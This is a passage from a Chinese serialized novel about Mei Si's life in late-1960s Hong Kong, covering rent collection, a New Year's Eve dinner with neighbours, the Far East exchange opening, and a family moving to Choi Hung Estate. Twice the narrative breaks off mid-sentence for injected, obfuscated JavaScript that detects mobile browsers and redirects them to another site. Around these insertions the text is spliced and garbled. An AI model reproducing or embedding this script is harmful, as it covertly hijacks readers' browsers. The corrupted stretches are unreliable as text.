翁美娇递她一个眼色,送她出来:“啊,梅小姐,戚太要自己带锅碗来,所以那些盘盘碗碗,我便收起来了,你要我便给回你。” 梅思轻轻笑着说:“本来便是旧的,我不要了,你帮我料理了吧。” 当初石硖尾大火,事后回去火场,从灰烬里捡出来的铁锅瓷碗,虽然都还能用,但这些年没用过,地方实在太狭小,只好用行军炊具。 翁美娟笑嘻嘻:“梅小姐客气,都交给我!” 真是个体贴人意的人,方才重看房,厨房里杯盘碗盏都不见了,一声不言语,只当没看见,沉默到如今,真是个有学问的人。 梅思揣着这二百九十块钱,搭巴士二号线,出了筲箕湾,一路上右手紧紧压住皮包,这一笔钱,千万不能出意外,是自己现在的重要资产,买房和接水电,已经用去全部的钱,投在股票上的钱都抽了出来,反正股市也是一派萎靡,不如先拿钱出来买楼,到如今箱子底只剩下一百多块钱,倘若再没有谈定租客,柴米便可能难以为继,如今终于租了出去,一颗心才落到了肚子里。 骆滨虹是缴了三个月的房租,梅思便有九十天没有过那边,一直到二月九号才过去收租,午间苏凤香一看到她进门,便问道:“钱收到了?” 梅思点头道:“拿到了,骆生很守信用的。” 然后又笑:“她家正准备过年的东西,感觉自己这时候过去,好像讨债的一样。” 莫名想到《白毛女》,当年在江陵,学校里组织孩子们看过的,建国后的新电影,印象特别深刻,只不过如今自己不是喜儿,眉眼依稀黄世仁。 苏凤香撇一撇嘴:“怎么嘛,租人家的房,就是要付钱,莫非要白住?倒好像欠她家的一样,梅小姐,侬纵然菩萨心肠,也忒多情了些。” 梅思笑道:“我也想着,好在房费不贵,倒也安心。” 苏凤香把针在头发丝之间擦了擦,抿嘴一乐:“本来么。” 幸好还拎得清,否则就是个烂好人,要坑死人了。 一个礼拜之后,二月十六号,礼拜天,除夕日,梅思早上洗脸刷牙,吃过早饭,万事皆无,一切安闲,便开始看书,一直看到下午,午后两点多,梅思正歪在床头翻《月满西楼》,忽然隔壁一阵人声喧闹,许多人同时说话,她懒懒地从纸页上抬起头,扭转脖颈往那边墙面瞥了一眼,又继续看书。 就这么直到四点半钟,苏凤香在对面放下毛衣针,果断地说:“该烧年夜饭!” 梅思这才伸个懒腰,打着呵欠道:“是啊~~” 掀开棉被,两脚到地上拨拉着找到棉拖鞋,伸了进去,站起身来,两条手臂套在棉袍袖子里,到屋角端一只盆子到走廊,便开始料理晚饭。 到这个时候,差不多家家都开始准备团圆的大餐,梅思手里的黄油刀一条条线划过去,不多时便堆满一个汤盆,然后拿了苏凤香的大菜刀拍姜蒜,油锅烧热便下了葱姜。 阿春婆如今已过了八十,前几年便不再管厨房的事,都是家中下一辈的女人在忙,不过每当逢年过节,总爱在灶台前转转,东张西望,这时候看到梅思把那大海碗里的东西“哗”地倒进油锅,阿春婆笑道:“啊哟,烧黄鳝哦!” 梅思转头一笑:“等一下请阿婆尝一尝,看我烧得怎样。” 阿春婆咧开嘴,露出少了两颗门牙的黑洞:“好哦好哦,鳝鱼是顶好的,肉嫩极了,又滋补,顶能给人补身子,像是梅小姐你这样文文弱弱的,该多吃,尤其要连鳝鱼血一起煮,补养气血……不能焯水,焯水就老了……” 阚德龙这时候晃着膀子,吸着烟从旁边挤过,往锅里望一眼,笑道:“梅小姐发了财。” 阿春婆望着他:“啊哟,你回来了?好一阵不见,家里人也都来了么?” 阚德龙笑笑没说话。 鄂林娟在火前撩了一下头发,转头微微笑着:“黄鳝么,倒也不必一定要许多钱才吃得到。” 除夕吃鸡吃鱼本是应该,何苦这样挤兑人家?况且给阚德龙盯上,可不是好说笑的。 阚德龙瞅着她乐道:“林鹃,你久不在这里了,不晓得新近的典故,梅小姐倘若烧泥鳅呢,是发小财,这锅里的若是黄鳝,便不大不小收入一笔。梅小姐,我说的可对?” 终于流传开了啊,梅小姐烧鱼的预兆。 梅思笑了一笑:“若真的能灵,我顶想要天天烧黑鱼,便是发大财。” 宝庆一个头登时从门里探出:“梅姨,哪天有黑鱼?明天么?” 苏凤香右手食指一戳他的脑门:“你做梦哩!晓得黑鱼多少钱一斤?” 宝庆怏怏退回,大家哈哈笑过去了。 梅思将锅里爆炒了的鳝鱼段大半倒进海碗里,另找一只不大不小的碗,将剩下的黄鳝滑入进去,端着便送到阿春婆那边:“给阿婆先拜个年,年年有余!” 阿春婆乐得合不拢嘴:“梅小姐,你客气。这边炖鸡汤,等下给你送去。” 梅思笑着道谢。 望着梅思的影子出了门,归涛问道:“姨妈,梅小姐这一向仿佛滋润些?” 阿春婆乐颠颠地说:“那是自然,买了房么,她也真是口风紧,买了几个月,我们还不知道,前些时才晓得了,也真大胆,好在这一向都没事,真让人替她担忧哦,如今已经收了房租在袋内,前几天刚刚去收租哦,一收便是几十块……” 这时候林鹃进来,阿春婆刹那停了口,招手叫她:“林鹃啊,这碗黄鳝分一半,给你妈妈那边送去。” 林鹃推辞两句,阿春婆自己拿了碗,拨了许多鳝鱼到里面,塞给她:“快去!” 林鹃笑着端碗走了。 等她出门去,阿春婆颤巍巍去关了门,又停了两秒,这才快快地又说:“如今她是什么都不须做了,每个月只要坐等钱到口袋就好,要我看,不但那什么小说,可以不必写了,就连股票,也不是一定要做,每日清清闲闲,就在这里吃饭便好,何苦呢,熬坏了眼睛,累疼了手腕,往来跑香港会,腿都细了,她说这几天腿抽筋……” 归涛默默不语。 归玉树笑着说:“她多年辛苦,也是该得的。” 阿春婆连连拍着腿:“可不是么,有学问有本事,人又好,也合该她有今天的日子。人家的那个屋哦,铺的地砖哦,花花绿绿的,看看咱们这屋里地,黑乎乎的;新屋两个房,厕所厨房还不算,厕所里能洗澡哦,把莲蓬头一开,水就哗啦啦的,当时听她这么一说,我就和她讲,好想过去住啊,她说她也想住过去,只可惜不能够,我就道她是‘卖油娘子水梳头’……” 归涛和归玉树不由得都垂下目光,看看地上,水泥地,年深日久,已经发黑。 就在这时,忽然间正在烧水的电炉嘶嘶响了两下,转瞬头顶灯泡熄灭,无线电也没了声息,阿春婆登时大为扫兴:“莫非过年停电?真给人晦气!” 阿春婆的孙子阿正开门去看:“走廊里灯亮着。” 归涛便道:“只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“明天我们过去!” 梅思打了个呵欠:“我熬不得了,要睡了。” 苏凤香撇撇嘴:“侬可真早,大过年呢。” 梅思笑道:“你们玩吧,叫招娣过来凑个手,我明天还要出去拜年。” 苏凤香咕咕哝哝:“谁不要去拜年呢?偏侬睡得早。这样小地方,阿拉若是还玩,侬便不要睡了。罢了罢了,收了摊子,大家都睡了。” 梅思颇有些歉意:“但愿早一天能换个大房。” 苏凤香哈哈笑起来:“香港这个地方,侬就发梦咯!” 虽然躺在床上,楼中依然吵闹,梅思便迟迟难以入睡,好容易迷糊过去,忽然间一阵猛烈的鞭炮声响,梅思裹在被子里一惊,开了手电筒看闹钟,果然已是十二点。 她这边午夜梦回,另一栋楼里,归涛回到家中,刷牙洗澡,刚刚躺倒在客厅搭的床上,过这一个年,真是疲倦。自来香港许多年,其实一直疲惫,这几年总算好了些,毕竟搬了出来,自立门户,然而仍然是累。 最要紧就是缺钱,自己与儿子儿媳,三个大人都很勤力,生活却依然这样艰难,所以今天听到梅思收租,一颗心刹那便不知是何滋味,前些时其实便知道的,只是不及今日这样触动。 昏暗之中,归涛往左边卧室门望一望,当初玉树有意于梅小姐,自己也知道的,表姨以为很不相当,梅小姐太老了,自己倒是不很在意,表姨旧脑筋,已有些落伍了,梅小姐纵然年纪大几岁,有什么要紧?未必便不好生养,如今玉树找的这一个,倒是好生养的,已经四个孩子,可惜不够梅小姐的本事,做得手上满是老茧,也没弄来几个钱,倘若是梅小姐呢,哪怕她只生一个,只要能赚来钱,便是大好女子,用玉树写小说的话来讲,“绝顶的佳人”。 在香港有一套房,还是那样宽敞,三百多尺,看一看自家这间,不过二百尺,隔成了两间,简直连转身的位置都没有,一家老小七个人,便挤在里面,如同鸡笼,并不是自己贪心不足,比起原来表姨的家,是好得多了,然而哪比得上梅小姐那间屋?三百尺,又是着力布置,多么体面。 倘若那屋是自家的,其实很不必一定租出去,便全家搬过去住蛮好,比如今这样舒心得多,或者租出去也好,每个月多一笔收入,梅小姐平日里写文章买股票,还能赚一笔,买米买肉宽裕,纵然儿女上或许有些遗憾,银钱上却能弥补。 唉,这便是世事难两全,总没有个十全十美,梅小姐那样的人,不是很能负辛苦,家务只怕难指望,又未必肯多生养,林鹃里外全能忙,又会生孩子,只可惜不太能赚钱,倘若这两个能合成一个,便让人心满意足。 83.第八十三章 远东会再显身手 第八十三章 远东会再显身手 春节之后,天气虽然反反复复,但依然不可逆转地变暖,到六月已经热得很了。 十九号这一天,端午节,香港会放假,今日不必去了,于是梅思一大早便起来摆弄炉灶,将前一晚泡好的米沥干,加了馅料,用粽叶包裹了,煮了两大锅粽子,自家留几只,送邻居好友十几只,午饭之后,余下五只大粽装在袋子里,提了出门去,乘车往官塘。 午后三点多一点,邹公馆之中,桌面上摆了刚刚煎好的一盘粽子,几个人正在闲谈: “香港这样一个金粉世界,只有黄金柴的粽子让人感到一种人情味。”白明珠感叹道。 梅思笑着说:“金灿灿的,感觉很是慰藉。” 在梅林山间,看着那一丛一丛的黄金柴,便如同看着羊群一般,充满了丰足感。 邹千里也道:“这是咱们桂林老家的粽子啊,桂林的粽子是最好吃的,这边的酒楼也有粽子,然而比不得桂林。” 当年很不屑于这种家长里短的话题,这几年大约是年纪渐渐大了,日益思乡,对故乡的牵念也不只系于山水,尧山的杜鹃花自然是好的,漫山遍野红紫缤纷,开得那样恣意,游玩赏春的人回城里去,人人手里见捧一束,仿佛明星手里的捧花,自己日常与太太和东妹谈起故乡,多是桂林的餐食,花桥的酸菜,月牙楼的斋面,每当临近端午,总要议论粽子: “这边用绿豆花生,咱们桂林不用,放的是花豆。” “也不是三角,是四角,我最爱的是那种圆圆的大粽,放五花肉,裹炒芝麻,再加几颗板栗,切了片煎来吃,人间美味,早饭有它,不用预备别的。” “糯米一定要用黄金柴泡过,才有那种明亮的黄色,好像涂了金粉。只可惜香港这些年,想找黄金柴也不容易,到处都是楼房了,要用黄金柴,得到药铺去买,牡荆。” 此时也是哀叹没有黄金柴,梅思便道:“或者不如直接加碱水吧,倒容易。” 那三人异口同声:“不行,没有黄金柴的味道!” 梅思便笑起来。 这时候东妹问道:“幺姐,你那腿抽筋的毛病,这一阵可好了没?” 白明珠也想起这个话头,连忙说:“是啊是啊,那可是难受,跟哪吒抽龙筋似的,我也犯过两回,疼啊!” 梅思笑着道:“这一阵想来是天气暖了,便没怎样发作。” 邹千里点点头:“自己的身体还是要爱惜,天冷多加两个热水袋。” 白明珠连忙说道:“那一回我给你的那个方子,你有喝没有?真的好用。梅小姐,你哪里都好,就是不很看重自家身体,整日风里雨里,不管冷热只是挨,倘若不好好调养,怎么能成呢?” 梅思笑道:“也喝过的。” 白明珠摇头道:“定然是三天打鱼,两天晒网,没有坚持连续。保养身体,要有长性,不是一天两天的功夫。岂不闻最误人者,莫过一日曝十日寒?你年纪还小,总是没耐心,年轻人是这个样子,哎呀其实算来,你如今也过了四十,是四十几岁?” 梅思嘻嘻笑:“四十六了呢,还年轻人,给人家笑死了。” 白明珠也笑:“比起我老人家,便是年轻的。” 白明珠那几句掉书袋,东妹自是不懂,其她话却是懂得的,当下便替梅思解释:“啊哟太太啊,你也看看幺姐住的那个地方,要她天天煲药来喝,哪里能够呢?” 白明珠这时也记起来:“是哦,你的那屋子,是不方便,倘若是我住在那里,烧饭都巴不得快快地,哪还有闲情慢慢煲药?” 这些年也去过两次,灶台都搭在走廊里,站在楼梯口放眼望去,一排都是大铁锅,赶在烧饭的时候,乌烟瘴气,这种地方,让自己住一天也难,倘若是站在门前烧饭,简直凄惨得眼泪都要掉下来了,还见天煲药哩,实在怕见厨房。 想到这里,白明珠瞬间也恍然:“我是因为有东妹煲药我吃,自然省事,能够坚持,倘若让我天天自家来煲,也耐不住繁琐的。” 简直成了晋惠帝,“何不食肉糜”,这些年女青年会的活动时不时便会参与,自以为已经很贴近民众,市井小民的生活很是熟知的了——这句话仿佛有些高傲,自家如今哪还是什么上流?——不过自己在外面行慈善,回到家中还是太太,补汤补药都是东妹煲好端给自己,拿起碗来就可以喝了,哪里肯去想那煲药的麻烦? 东妹笑道:“方子那样好,就再多费一个时辰的功夫也值得,别说是药,就是药渣都有用,要活一百岁,可得卖力些。” 太太喝头一遍最浓的药汁,自己把药渣再煲一遍来喝,也是白白胖胖,越来越壮,胃口愈发好了,年轻时候便喜欢吃饭,总是觉得饿,这个年纪居然饭量更大,差一些便要胖出双下巴。 这中间邹千里接了一个电话,走回来坐进沙发里,右腿抬起在左腿上,不住地摇着,说道:“朝宗方才打电话来,说起远东公司,正在筹备。” 梅思忙问:“那是什么?” 邹千里颇有些得意地说:“新的股票行,得说香港会虽然好,但是太有些高高在上了,等闲都不在她们眼内,其实许多公司虽没有那样大资本,也是不错的,却不能上市,募集股本,于是业内同仁便要另组远东公司,现在已经预备起来,等到她家开业,我们又多了一个交易股票的地方,梅小姐,英雄更有用武之地。” 总算说到振奋人心的正经事,方才那样追忆故乡,豪杰迟暮啊。 梅思瞳孔都亮了:“那可是好!” 然后叹息:“可惜现在没有那样多的本金。” 比从前可不行了,钱都投在了房产里,如今可用在股票上的,不过七百多块,《青山遮不住》之后,再无力作,裴冰华起初总是催促,现在已经不催了,自己也是灰心,只怕在小说上,是昙花一现,一部书而已,只靠零零碎碎的随笔,还有小报的稿子,实在赚不到几个钱。 邹千里抬起右臂张开手,五根指头往里面扣着,仿佛扣一个碗底,一圈圈转动着,笑道:“本金不怕少,只怕闲,放在那里不动,便荒废了,利滚利,利滚利,便是大钱。” 这就是高利贷的逻辑啊,本来往往不多的借款,这样操作下来,指数级放大。 见她们如此兴头,白明珠忍不住泼了一杯凉水:“我劝你们别这样开心吧,这一阵香港呢,倒是太平无事,谁知哪一天又出什么事端?大陆那边一个喷嚏,我们这边就要抖三抖,我如今算是懂得了朝鲜的心绪,事大不易啊。” 如今的半岛,从韩战之后分了两个国家,一个朝鲜共和国,一个大韩民国,是苏联与美国的附庸,从前的朝鲜王国,其实也是附属,只不过宗主国是中国,从前白明珠并不介意,如今人在香港,一举一动受大陆牵制,便不由得想到了朝鲜。 给太太这样一讲,邹千里原本高昂的兴致登时也落了下来,转向梅思,忧心地问:“四月底,中共的九届一中大会,□□将军成为了副主席,毛先生的接班人,梅小姐据你来看,这对香港是好事还是坏事?” 梅思噗嗤便笑:“啊呀先生,这样大题目,我哪有本领看得清?许多教授学者写了文章说这件事,还是看他们的比较好。” 见她不肯说,邹千里便有些怏怏。 东妹拍手哈哈笑:“啊呀幺姐,不管怎样,你见过林将军,那些写文章的,不管怎样的大学者,我敢说没几个认识林将军的。” 邹千里的兴致登时又高涨起来:“是啊是啊,梅小姐你不要客气,毕竟你是亲身去过延安的,对□□将军总能更加了解,你便讲一讲,你眼中的林将军是怎样?” 白明珠也连声催促:“□□将军,可是个传奇人物,梅小姐一定要给我们讲讲!” 梅思被催不过,只得笑着说:“我可说不上认识林校长,对他更谈不上了解,只是当初在延安,远远见过几次面。” 然后她理了理记忆,慢慢说起来:“第一次见到他,是在一个晚会,林校长很瘦削,看起来仿佛身体不很好的样子,眼角眉梢带了伤感,从头到尾没有笑过,那样热闹的场合,他似乎并不开心的,好像也没什么兴趣,不知为什么要来。倘若不知道他便是林校长,还以为是一位诗人,鲁艺的□□……” 梅思说了一篇话,停下来喝一口水,白明珠忙忙地催问:“叶夫人呢?他的太太叶群呢?” 梅思拢了拢头发:“叶群啊,这我倒是知道得多一点,我在女大的时候,她是教育科的科长,时常便见面的,一起种菜跳舞,她本名叶静宜,‘叶群’是后来改的名字,叶群是个认真尽责的人,工作上很严谨,待人也热情,又爱读书,她长得美,是延安出名的美人,延安有四大美人……” 白明珠听得入迷,连连追问,梅思竭力回想,能记起的都说了:“□□的时候,就是我离开延安那一年,叶群也受审查,林校长特意从前线回来,保证说叶群是没有问题的,听说当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790045|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林校长还发了好大的火。” 都是那一次在荆州见到熊晖,她当做故事讲给自己的,说过了还微微地笑:“那一次□□,叶群给斗争得算轻的。” 白明珠重重点头,大为感叹:“没想到林将军那样千军万马,杀伐决断一个人,对太太这样好。” 说着看了邹千里一眼。 那样大的政治运动之中,□□能够庇护夫人叶群,可见对叶群是真有感情。 邹千里给她盯得有点尴尬,不自在地扭了扭脖子,放下右腿,把左腿换过来搭,嘿嘿了两声:“这便是‘无情未必真豪杰’,林将军铁骨柔情啊。” 说到这里,邹千里仿佛忽然想到了什么,转头对梅思说:“梅小姐还没写过这样文章是吧?我看很可以写一写,你晓得的这些,旁人未必知道,林将军正在风头上,你现在写他,还有他的夫人,正可以赶这个热闹,‘烈火烹油’,再过一阵,油凉了,大家便减了兴致。” 全部视线都落在梅思面上,分不出一丝给太太,专注于这个提议。 梅思笑道:“好。” 到这一年的十二月,十七号礼拜三,远东证券正式成立,开门第一天,梅思便去了,踏着满地破碎的红纸屑,冲过鞭炮残余的硝烟,进入大厅,见到白明珠和邹千里。 邹千里乐呵呵的:“梅小姐,要投多少股本?我认得这家的经理,无论怎样的数目,马上便可以开户。” 梅思比划了一个仿佛“OK”的手势:“只有这个数。” 白太太忙说:“三百也是好的了,人家在公司里,要做一个月才有这个数目。” 梅思笑说:“是三千。” 白太太登时咋舌:“你哪里弄来的钱?不是我小瞧你,那一回在我家,你还哭穷,梅小姐,原来你如此滑头,下次再不信你的话。” 梅思抿嘴笑道:“太太啊,本来实在是没有钱,当了家底才有了这笔款子。” 又卖去一件首饰,如今梅林中的箱子底,母亲遗留的饰物只剩了五件。 邹千里略一思索,道:“若是黄金,还是留在手头的好,如今虽说黄金与美元脱钩了,市面上金价浮浮沉沉,但看看这一年还是要涨,依我之见,倘若有余钱,除了买股票,也投资一些黄金比较好。” 梅思摇头:“不是黄金。” 金项圈还留着的,自己也是看到金价仿佛要涨,所以在那匣子里挑来拣去,找了一件翡翠的,玻璃种,顶名贵,卖了五千块钱。 邹千里脸上露出宽慰的神色,轻轻颔首:“这样倒好。” 又说恒生指数:“是三百四十一点四。” 梅思脱口道:“比六七年涨了四倍。” 仿佛是为了呼应远东会,恒生银行的股市指数在前一个月开始公开,梅思是晓得六七年的股灾,恒生指数最低不到六十点,现在是那时的五倍。 邹千里深为感慨:“那时候是很惨的了。” 然后他看一眼人头攒动的交易厅,精神又昂然起来,猛拍了一下巴掌:“现在,我们的好时光又回来了!” 四年前那一回左翼大暴动,让人心惊胆战之余,也是肉痛,股票大跌啊,看看自己的钱损失了多少?到第二年,虽然渐渐恢复元气,终究心有余悸,今年第三年,总算是好了,香港的经济又繁荣起来,而且比之前愈发兴旺,所以才有远东会。 股票涨得是真好啊,尤其是像梅思与自己这样,在股市中历练多年的,这个时候刚好下场,所以他很赞同梅思把闲着用不到的物件先变卖了,换得的钱投入股票,收益更高,至于少掉的东西,那也没什么,股市中赚了钱,转头再买回来,只要有钱,黄金白银,钻石翡翠,想要什么不能得呢?到那时再收藏起来,照样是传家的宝贝,虽然梅小姐没有孩子,也不知能传给谁,但有得压箱底总比空荡荡要好,有钱缺人继承,与有人却没钱,那遗憾还是不一样。 在交易厅消磨了大半天时间,梅思傍晚回来石硖尾,进门便听到苏凤香的叫声:“结婚?你年纪轻轻,结什么婚?来娣去年才嫁人,还没离家,你看看这屋子现在哪里有地方?” 接着便是宝庆不服气的争执声:“怎么姐姐可以带姐夫住进来,我就不行呢?你偏心!” 梅思登时一掐额角,脑仁又开始疼了,远东会也是吵闹的,熙熙攘攘,都是在谈钱,自己在那里倒还不觉得太过焦躁,然而一回到家中,或许是空间实在狭小,人挤得太满了,便感觉难以忍耐。 84.第八十四章 彩虹邨 第八十四章 彩虹邨 很快这一年过尽,到了一九七零年的四月,梅思这一天从外面回来,进门一瞥,笑问:“凤香,什么事不开心?宝庆又淘气了么?” 苏凤香坐在那里,本来气鼓鼓的,听到这句话,愈发懊恼,把头一摇:“伊同霞女出去了,不在阿拉眼前倒好,去电影院,多坐一阵,晚点回来,这屋子里还清静些。” 无论怎样不高兴,宝庆终究是带了女朋友婉霞回来,就同居在了一起,本来这小小一间屋,人便多,来娣前一年结了婚,对方原是住工厂的宿舍,这时便搬到徙置楼里面来,如今宝庆也带人回来,一个屋就住七个人,而且来娣还怀孕,五月就要临产,到那时就是八个人,每次设想到那时婴儿的哭闹,梅思便感到一颗心要炸裂开来。 招娣也有同感,有时候两个人单独到天台,悄悄地说话。 招娣唉声叹气:“再有五个月就要生了呢,那小小的人,虽然倒是不占地方,可随时会哭起来,让人不得安静,每天在外面做事本来就很烦,回到家中还是这样,连一个能歇息的地方都找不见,更别说读书画画。” 梅思虽然也是头痛,却还要解劝:“小婴孩难免这样,长大一点就好了,毕竟是自家姪女。” 招娣笑道:“是啊,还能如何呢?所以不要说如今本来没有房,就算有房子住,我也不想这样早结婚,泳涵催我也没有用。” 招娣谈了一个男朋友,叫做林泳涵,她今年二十六岁,年龄不小了,苏凤香时不时便催她嫁人搬出去住,男友比她大三岁,自然更急,招娣纹丝不动。 苏凤香便骂她心气太高:“当个速记还不够,还想当画家是怎样?老大年纪不肯出门,看看屋里这般挤,一个一个都不出去,将来侬弟媳妇都不好住进来的,这么多年,可把阿拉累坏了,伺候侬这么多人。” 招娣便放下画笔站起身:“妈,我去洗衣服。” 苏凤香抢过盆子来:“侬肚内明白阿拉说的是什么,阿拉是要侬去洗衣服么?赶快和侬那男朋友结婚,搬出去阿拉省心,免得整天看到侬这么多人,一个个都没有正经事。” □□终究是没有学速记,如今和哥哥一样,在差馆当差,做内勤,招娣倒是学了一手好速记,如今在律政署做事,薪水还不错,也不像工厂里那样,工时那样长,还要加夜班,律政署周六虽然要上半天班,礼拜天却是固定休息,工厂则是未必,空闲时间很少,作女工,上夜校都吃力,每一日都精疲力竭,明显感到生命的消耗,自从去了律政署,招娣终于感到一口气能透过来了,手头也宽裕一点,愈发爱画,逢到休假,从早到晚站在画板前,她偏爱的是西洋绘画。 梅思手臂搭在天台短墙上,笑一笑说:“女子与男子终究不同,男子成婚早一点,没有什么妨碍,女人若是嫁人成家,便再难有所追求。” 十年前大陆一部一部小说,《红日》,在三联书店买来,梅思最常逛的两家书店,一个是“去年红”,一个便是三联,在“去年红”里消磨时光,是因为书实在便宜,梅思虽然喜欢去图书馆,却也爱买书,新书偏贵,还是旧书好,只为经过一个人的手,便折价一半还多,爱三联,则是因为那里有自己昔日热爱的气息,马克思共产主义的书堂皇摆在里面,摆许多,角落里也有小说。 那些正经严肃的学问书籍,梅思少有精神买来看,倒是能看看小说,那一回便翻到了《红日》,看前言,是红色中国很有名的书,不愧是三联,进书真快,在那边是五七年首版,这边五八年就摆在了架子上,只是价钱贵了,梅思便站在书架前翻看,那时刚好报馆结业,时间充裕,看股票之余来看小说,连翻了几天,翻完了。 那里面大段大段的战争场面,梅思虽然称不上是见惯的——她虽然也曾投身革命,却没有上过战场,倒是景斌去了,从此再没有回来——只是无论是延安还是桂林,都常听人谈起,谭永光便很爱说打仗的事,打国民党,打地方军阀,打日本;在桂林,倒不是钟坤和她讲,两个人很少谈论政治与战争,只是闲谈,世态人情,然而那样的战争环境下,终究很多人在说,梅思耳朵里灌满了,战争战争。 此时看小说里满篇战斗场面,或许毕竟年纪大了吧,不复是当年的热血,视线只是一溜,便匆匆翻页,只每当讲到男女之间的故事,便留心一些,里面有一句话很是触动,“对一个女同志,早婚是有害的,早恋也是有害的”,是一个女战士对另一个女战士说的,名字自己已经淡忘,只这句话记忆异常深刻,当时读到这里,脑中瞬间掠过许多熟悉的脸。 那时听了她这样一句话,招娣吁了一口气,有些懒懒地说:“我其实也不算是有什么追求,像我姆妈以为的,要出名,当画家,只是实在喜欢画,柴米油盐烦死人了。” 那是过年前后的事。 梅思这时放下皮包,笑着正想再问两句,究竟为什么烦恼,苏凤香已经一连串冲口出来:“真是欺负人,阚德龙那样有钱,自己有房子的,新的公屋偏偏还有伊一份,马上就要搬过去住呢,像是阿拉这样没钱的,家里这许多人,许多年轮不到一间。” 虽然气愤,苏凤香却很留神压低了声音。 梅思暗道原来如此,在床头坐下来,慢慢地说:“他家另买了屋,还时不时过来这边住,自然是存了这个心思,等着换新屋,如今总算让他等到了,那一间屋就可以租出去,多一笔收入。” 阚德龙在14K的铁血奋进没有白费,攒下一份家当,几年前购置了房产,只是买得贵了一些,不比梅思后来买得便宜。 七层大厦的房子,阚德龙早就住腻了,实在太过简陋,所以买屋之后,全家齐齐搬了过去,只是三不五时还回来看看,来两个家人住一两天,以示还在这里,阚德龙也是个有心计的,虽然另买了房,却不肯退这边的屋,这些年政府不断在建新楼,租金都很便宜,作为一项福利,安置那些住房困难的人,阚德龙便等着换房,倘若退掉徙置楼的房间,便自然失去了资格,这是不必说也知道的。 苏凤香拍着床板,恨恨地骂:“真是不公道,一群瞎子,谁真正需要换房,莫非看不到?这世道,越有钱便越有钱,越穷便越难翻身。” 梅思听苏凤香这几句社论,虽然此情此景,却也不由得噗嗤笑了出来:“‘愈有钱,便愈是一毫不肯放松,愈是一毫不肯放松,便愈有钱’。” 苏凤香见她的神色,便疑心又在掉书袋:“这又是哪本书里的?” 梅思笑道:“是鲁迅先生的小说,《故乡》。” 凤香还不很老,面貌也没有那样孤寒,人倘若是太瘦,尤其高颧骨,便容易显得刻薄,只是她这几句话,却十足仿佛杨二嫂,只是阚德龙却不是鲁迅先生。 给她这几句话打趣,苏凤香的怒气略散去一些,平了平心气,说道:“阿拉倒也不是忌人家有钱,讲真虽然是打打杀杀,毕竟也算凭本事吃饭,只是伊明明不缺房子住,阿拉这边急等要换个大房,却偏偏给伊不给阿拉,便让人不能咽下这口气。” 要说阚德龙,其实也不算很过分,七层大厦里面像他这样的人,也不止一个,比如梅思,就也算一个,梅思也是在外面另有房产,然而苏凤香并不气梅思。 梅思这些年确实辛苦,炒股票很费脑,遇到赔钱,睡不着觉,还要写稿子换钱,每天趴在床头写字,看着都累,每个钱都是正经路上来的,不像阚德龙,不义之财,更要紧的是,梅思是真的住在这里,同大家一起等在水池边,排队淘米洗菜,早上倒马桶,晚间等洗澡,乃是靠着熬这样艰难不便的日子,取得换房的资格,阚德龙可算什么呢?投机取巧,让人格外不忿气。 梅思便宽慰她:“起了许多新楼,我们在这里也住了许久,要换房想来也不久了,到那时你可该想想,要怎样打理一番?招娣画几幅画给那墙面挂上?” 听她这样说,苏凤香堵得严实的一颗心总算有了缝隙,微微笑道:“倒是省了买画的钱,费了这么多画布颜料,总算有些用处。” 果然没有几天,阚德龙一家人欢欢喜喜搬出去,是个礼拜三,□□不是一定要休礼拜天的,梅思上午正要出门去远东会,便看到来了几个人,到这边开了屋门,招呼着把那房间里粗重的家具扛抬下楼,还有一些破烂盆壶也都掇出了门。 有人似乎在嘀咕:“这些也要?……” 一个女人调子高亢:“不要懒,也能换几个零钱!” 梅思立在门前,观望片刻,门内走出一个穿绸缎旗袍的女人,梅思冲她轻轻笑一下:“韦太,要走了么?” 韦怀珍嗖地转身,大波浪发卷甩得直晃,眼神锐利,上下狠狠打量梅思几眼,两片鲜红的嘴唇掀开,也笑起来:“啊 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阚德龙一家搬走之后,他那间屋一时便空置着,一把锁挂在门上,苏凤香每次经过那门前,总要对着撇撇嘴,回来后对梅思嘀咕:“人都走了,也不说把那房子给别人分分。” 比如说自家,倘若能开了那门,让来娣夫妻两个住进去,宽松多少? 梅思笑着劝道:“回头有更好的地方住。” 苏凤香用力抿了两下嘴唇:“回头一定要让招娣把她女婿带来,看家里这样多人,怎么还不换房给我们?” 果不其然,半年之后,十月底,苏凤香得到了通知,可以迁入彩虹邨,苏凤香欣喜若狂,一面叠着衣服,一面不住口地说:“六个人的房,有lift呢,这可好了,上下方便,阿拉如今也不比年轻人,人一过了四十岁,气力就一年不如一年,再爬这样高楼就吃力,就住这样的楼,蛮好。梅小姐,侬什么时候搬出去?就搬阿拉那里,一栋楼,往来方便。” 梅思笑道:“好呀~~” 这是苏凤香望眼欲穿的一套房,心急如箭,三天两日收拾了家什,十一月一号礼拜天,便叫了一辆车,把东西都搬了过去,梅思也跟了车过去帮忙,到那里整整打扫整理一天,把招娣的一张小床安在客厅角落里。 到五点钟匆匆烧饭,招娣煮了一锅面,几个人围坐着简单吃了,梅思便站起身告辞要走,苏凤香并没有虚留:“今天多累侬,快回去好好歇歇,阿拉一时抽不出空回去看侬,那老房子,当初巴不得离开,如今想想,倒还有点难过,好处是侬以后都清静了。” 梅思笑一笑:“大家都宽松许多。” 林泳涵拿起皮包:“阿姨,我也回去了。” 苏凤香又转向他,热情洋溢:“泳涵,这次多亏侬,谢谢帮忙,记得来玩。” 林泳涵呲牙笑了笑,与梅思一同走了出去。 到了外面,走出一段路,梅思转头对他说:“你的使命完成了。” 林泳涵咯咯地乐:“到这时便可以走了,石硖尾实在太小。” 他原不愿住到这拥挤简陋的地方,况且又是同女朋友家人一起。 至于彩虹邨呢? “我们还没有计划这样快就结婚。” 